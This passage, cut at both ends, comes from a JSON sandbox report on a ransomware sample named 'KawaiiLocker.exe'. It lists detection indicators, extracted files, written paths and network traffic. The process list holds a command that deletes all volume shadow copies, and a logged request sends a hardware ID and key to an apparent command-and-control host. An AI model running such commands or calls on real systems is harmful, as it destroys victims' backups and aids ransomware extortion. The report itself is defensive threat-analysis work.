Parser","relevance":10,"id":"static-19","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Sets the process error mode to suppress error box","description":"\"\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","relevance":8,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Looks up many procedures within the same disassembly stream (often used to hide usage)","description":"Found 41 calls to GetProcAddress@KERNEL32.DLL at 00024480-00003488-34750-2431-00452D68\n Found 47 calls to GetProcAddress@KERNEL32.DLL at 00024480-00003488-34750-1671-00427D18\n Found 11 calls to GetProcAddress@KERNEL32.DLL at 00024480-00003488-34750-2412-0044FF3C\n Found 47 calls to GetProcAddress@KERNEL32.DLL at 00024480-00003488-43148-1670-00427D18\n Found 11 calls to GetProcAddress@KERNEL32.DLL at 00024480-00003488-43148-2411-0044FF3C\n Found 41 calls to GetProcAddress@KERNEL32.DLL at 00024480-00003488-43148-2430-00452D68\n Found 47 calls to GetProcAddress@KERNEL32.DLL at 00024480-00003488-50611-1670-00427D18\n Found 11 calls to GetProcAddress@KERNEL32.DLL at 00024480-00003488-50611-2411-0044FF3C\n Found 41 calls to GetProcAddress@KERNEL32.DLL at 00024480-00003488-50611-2430-00452D68","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-40","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":"DATA with unusual entropies 7.33240604081","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceA@KERNEL32.DLL at 00024480-00003488-34750-1299-00416E7C\n FindResourceA@KERNEL32.DLL at 00024480-00003488-34750-1286-00414348\n FreeResource@KERNEL32.DLL at 00024480-00003488-34750-4066-00416EE8\n FindResourceA@KERNEL32.DLL at 00024480-00003488-43148-1298-00416E7C\n FindResourceA@KERNEL32.DLL at 00024480-00003488-43148-1285-00414348\n FreeResource@KERNEL32.DLL at 00024480-00003488-43148-4065-00416EE8\n FindResourceA@KERNEL32.DLL at 00024480-00003488-50611-1285-00414348\n FindResourceA@KERNEL32.DLL at 00024480-00003488-50611-1298-00416E7C\n FreeResource@KERNEL32.DLL at 00024480-00003488-50611-4065-00416EE8","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Contains ability to download files from the internet","description":"recvfrom@WS2_32.DLL at 00024480-00003488-34750-2428-0045238C\n recv@WS2_32.DLL at 00024480-00003488-34750-2426-00452330\n recv@WS2_32.DLL at 00024480-00003488-43148-2425-00452330\n recvfrom@WS2_32.DLL at 00024480-00003488-43148-2427-0045238C\n recv@WS2_32.DLL at 00024480-00003488-50611-2425-00452330\n recvfrom@WS2_32.DLL at 00024480-00003488-50611-2427-0045238C","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-17","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Monitors specific registry key for changes","description":"\"\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1)\n \"\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1)","origin":"API Call","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"127.0.0.1\"\n \"255.255.255.255\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; Synapse)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve keyboard strokes","description":"GetKeyboardState@USER32.DLL at 00024480-00003488-34750-1863-00446364\n GetKeyboardState@USER32.DLL at 00024480-00003488-43148-1862-00446364\n GetKeyboardState@USER32.DLL at 00024480-00003488-50611-1862-00446364","origin":"Hybrid Analysis Technology","relevance":8,"id":"stream-12","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegCloseKey\n RegCreateKeyExA\n RegOpenKeyExA\n CreateFileA\n CreateThread\n ExitThread\n FindFirstFileA\n FindNextFileA\n FindResourceA\n GetCommandLineA\n GetFileSize\n GetModuleFileNameA\n GetModuleHandleA\n GetProcAddress\n GetStartupInfoA\n GetTickCount\n GetVersionExA\n LoadLibraryA\n LoadLibraryExA\n LockResource\n Sleep\n UnhandledExceptionFilter\n VirtualAlloc\n WriteFile\n ShellExecuteA\n FindWindowA\n GetLastActivePopup\n GetWindowThreadProcessId\n SetWindowsHookExA","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$26","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Contains ability to listen for incoming connections"}],"sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":4,"imported_dlls_count":55,"dropped_files_count":0,"extracted_files_count":21,"files_written_count":176,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":null,"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"57cc3538aac2edc17a24c614","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":53,"contacted_countries":["RUS"],"submit_name":"KawaiiLocker.exe","analysis_start_time":"2016-09-04T16:53:08+00:00","indicators_count":{"informative":19,"suspicious":18,"malicious":1},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"81.177.139.161","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]}],"dns_resolutions":[{"domain":"7476357288-0.myjino.ru","address":"81.177.139.161","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]}],"http_requests":[{"host":"7476357288-0.myjino.ru","host_ip":"81.177.139.161:80","url":"//lol.php?start&hwid=C2868198&key=9654270869287135","method":"GET","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}],"processes":[{"pid":3488,"ppid":0,"name":"d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de.exe","command_line":"","normalized_path":"C:\\d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de.exe","uid":"00024480-00003488","icon":"$27"},{"pid":3216,"ppid":3488,"name":"cmd.exe","command_line":"vssadmin delete shadows /for=C:\\/all","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00024480-00003488","uid":"00025346-00003216","icon":"$28"}],"all_imported_dlls":["gdi32.dll","ws2_32.dll","nsi.dll","wship6.dll","propsys.dll","clbcatq.dll","msasn1.dll","usp10.dll","comctl32.dll","msctf.dll","mswsock.dll","dnsapi.dll","winnsi.dll","urlmon.dll","setupapi.dll","kernel32.dll","msvcrt.dll","Wldap32.dll","advapi32.dll","sechost.dll","version.dll","uxtheme.dll","rasadhlp.dll","wshqos.dll","rpcss.dll","devobj.dll","ntdll.dll","iertutil.dll","winbrand.dll","basebrd.dll","lpk.dll","rpcrt4.dll","ole32.dll","shell32.dll","cryptbase.dll","apphelp.dll","psapi.dll","oleacc.dll","imm32.dll","dwmapi.dll","IPHLPAPI.DLL","ieframe.dll","oleaccrc.dll","wininet.dll","profapi.dll","sspicli.dll","user32.dll","oleaut32.dll","shlwapi.dll","FWPUCLNT.DLL","WSHTCPIP.DLL","crypt32.dll","cfgmgr32.dll","ntmarta.dll","KernelBase.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"add_reviewer.gif","sha256":"b28fc8b4880350fdb5da6680b720f004f97da91bea288d5e70b03dac514bae84","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"review_email.gif","sha256":"cd540154b13accad93b203c794320e13aeb53a5b09198a6e6e479b294ae1e788","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"reviews_sent.gif","sha256":"29a83976b3ef6d0c1bd2aee5e19f014a2b8fae61bd95968304bff5f45f3f1b97","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"server_issue.gif","sha256":"77cf7a169f46d7909b7bb80b0086f48419905f25f8906a36b299304d8e0915c1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"StandardBusiness.pdf","sha256":"7c33336697886999a3924263ee649538ff2c8cac05278e1ea611035298626c53","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"turnOnNotificationInAcrobat.gif","sha256":"e53bf48244f64c07801634ed0f2189583ef93aa11b4ff008d79b10b1e69c8b95","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"review_shared.gif","sha256":"7b13b2c9a108050fcc6f222aaa0320734d44b0a92e43c240e4f2ed69f862b610","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"reviews_super.gif","sha256":"4a25704683617e4e5d7e2d61c830280a656e24dd84b584282c4c07cfc125c7fd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"AdobeID.pdf","sha256":"47895edb1bd0fffbd8745153f61d8394a65eaa817ec824c92036cca758b4bac8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"form_responses.gif","sha256":"3f3fe27de1c3446c4213d13c410bfbe6307a3dc59dff6c59191a88fabf22b222","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"forms_received.gif","sha256":"f98dbce6bbe7ec84a5091bcb7b3cf3992ee8495e1ecf9e9225eff9f7df049bde","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"review_browser.gif","sha256":"c0edb2dea39b862601c5e21a98d710eb26cf2c50af4603a4d4026d61d25136bf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"reviews_joined.gif","sha256":"65542aba68d076c668e7a57b3f9c5c99af08a63da86820cf810829b0e73d0726","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"Worksheet.xls","sha256":"d3abaacdd7c17a7b14277c4009f2c0345e8a957044bb0f5ef0a13efc2cd2b6df","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"sampleAVI.avi","sha256":"e3153e9218e0c0b6c4dad8c806b409fd17724fd921a09795b441216ddcd14683","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"SignHere.pdf","sha256":"e97495f56707b43b41026de72867be2b4917d2e38c3663bcf0d55a10f3c5f896","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"Torus.png","sha256":"fb56caa4d842d181b817c22fd349442d492687b3ec544d32f3aa6192a5ad29f4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"pss10r.chm","sha256":"3d72cb57bf6cf98da2156e7ae6e4f76df92d891bca169d8d984415c722022bd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"setup.chm","sha256":"270a7701b0d6332fccf336357d19eb985c5b43b4d4f7185cdbf00e27c7945e48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"AutoIt.chm","sha256":"713ded1ba27c1537e75a4921fb81d6c78f53cd6a5fcf9b64f738583c31ac1361","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"name":"AutoItX.chm","sha256":"134a2b444f719f3a570d20a0f093d6cc8fa17ee556a6cbc60f6d87d3b1cc793a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]}],"files_written":[{"path":"%WINDIR%\\Fonts\\staticcache.dat","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%WINDIR%\\system32\\OLEACCRC.DLL","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\Windows","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%WINDIR%\\System32\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\crypt_list","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\autoclick.log","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\fastforward.log","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\Office64WW.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\Office64WW.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\OWOW64WW.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\OWOW64WW.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\StandardWW.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\StandardWW.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\StdWW.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\StdWW.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0016-0409-0000-0000000FF1CE}-C\\ExcelLR.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0016-0409-0000-0000000FF1CE}-C\\ExcelLR.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0018-0409-0000-0000000FF1CE}-C\\PptLR.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%WINDIR%\\Branding\\Basebrd\\Basebrd.dll","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0018-0409-0000-0000000FF1CE}-C\\PptLR.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0019-0409-0000-0000000FF1CE}-C\\PubLR.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0019-0409-0000-0000000FF1CE}-C\\PubLR.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-001A-0409-0000-0000000FF1CE}-C\\OutlkLR.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-001A-0409-0000-0000000FF1CE}-C\\OutlkLR.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-001B-0409-0000-0000000FF1CE}-C\\WordLR.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-001B-0409-0000-0000000FF1CE}-C\\WordLR.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.cab","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"%SAMPLEDIR%\\MSOCache\\All Users\\{90140000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"path":"C:\\MSOCache\\All 